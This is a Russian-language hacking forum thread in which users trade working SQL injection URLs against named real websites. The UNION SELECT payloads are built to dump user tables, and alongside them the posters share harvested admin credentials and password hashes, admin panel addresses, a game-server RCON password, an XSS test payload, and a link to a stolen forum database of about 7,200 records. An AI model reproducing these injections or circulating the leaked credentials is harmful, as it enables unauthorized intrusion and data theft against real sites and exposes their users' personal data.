SQL Инъекции

_http://kacca.webdevelopment.us/index.php?iid=ViewPlace&id=-1+union+select+1,concat(email,0x3a,passwd),3,4,5,6,7+from+users+limit+0,1/*
помогите найти таблицу админки

 

злюка таблица admins

 

и че это?

 

в сорцы не глянул

 

http://www.a2k.org.ua/index.php?topic=9&section=-1+union+select+concat(user,password)+from+users/*&lng=ru

http://www.a2k.org.ua/admin/

admin:repz
------------------------------------------------------------

http://www.sevzapmebel.ru/index.php?area=hidden&level=-1+union+select+table_name+from+information_schema.tables+limit+14,1/*

-------------------------------------------------------------

http://www.btk.ru/index.php?category=-1+union+select+1111,222,3,'<script sql>alert(/_ANTICHAT_/)</script sql>',44,1+from+articles/*

 

Code:

http://www.bulgaria.by/rus/index.php?text_id=-99+union+select+concat(login,0x3a,pwd)+from+user+limit+0,1/*

=\

 

www.skype-forum.com

БД: __http://rapidshare.com/files/17283919/db_skype-forum.com.rar

формат: email icq md5-hash (xls) 273kb in rar
pass:a-chat
количество записей :7217


кстати кто не видел, в прошлый раз я выкладывал
__http://rapidshare.com/files/15758988/base_forum_siemens-club_ru.rar

 

хе моя первая в этой теме.

 

гыы, жжошь))

вот я чё откопал

 

Code:

__http://www.craftersforcritters.com/vendor.php?id=119+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,convert(user()+using+latin1),15/*

что с этим можно сделать хз

Code:

__http://www.ogilvy.com/viewpoint/view_ko.php?id=42734'&iMagaId=9

Code:

__http://www.theracersgroup.com/shop/car.php?id=-19+union+select+1,2,3,4,5,6,7,8,user(),database(),version(),12,3,14,5,6,7,8,9,20,1,22,3,4,5,26,7,8,9,0,1,2,33,34,5,6/*

 

_http://kramer.ru/admin/includes/head.inc

 

http://webz.priop.ru/index.php?categ=-628+union+select+1,2,3,4,5,6,7,8,9,10/* таблицы не охота перебирать))

 

Любютелям КС

Code:

http://cs.cyfra.ua/advstat.php?mode=admin

Login:admin
Pass:street

RCON_PASSWORD, на все сервера Цуфры:

Pass: rconpassword6

А вобще вот :

Цуфра:

Code:

http://cs.cyfra.ua/advstat.php?mode=playerinfo&player=47595&killLimit=1+union+select+concat_ws(CHAR(58),user(),database(),version()),2,3,4,5/*

Ласки:

Code:

http://cs.lucky.net/hlstats/hlstats.php?mode=playerinfo&player=47595&killLimit=1+order+by+5/*

Версия бд 3 (.

Если надо, могу поискать Дампы vbios.com.

 

Что ещё можно сделать на етом сайте ? Что мог попробовал, ничё не откопал кроме user() database()...

 

инет магазин

интернет магазин.
база просто super_super

 

Code:

http://www.ofb.biz/article.pl?sid=-75+UNION+SELECT+1,2,3,concat(username,0x3a,password,0x3a,email),5,6,7,8,9,10,11,12,13,14,15,16,17+from+users/*

Username:cellularguy
Password:a.CLuP.omGhUo
Mail:[email protected]

Code:

http://www.orientation-lyon.org/choix/bts2007/detail.php?idd=658+UNION+SELECT+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13+from+orientationlyon_users/*

Username:System Administrator
Password:96da4c180c95beb563b797df331f4e8f

не густо

 

_http://www.whenhamstersattack.com/news.php?id=-99+union+select+1,2,3,4,5,6,7/*

хех перебирать страшно..там такоооеее

 

www.Tetis-Pro.ru

Code:

http://www.tetis-pro.ru/?menu_id=&page_id=-1+union+select+1,2,login,pass,5,6,7,8,9+from+users+limit+0,1/*

admin:xxx
http://www.tetis-pro.ru/admin

Code:

http://www.iriscom.ru/index.php?page_id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13/*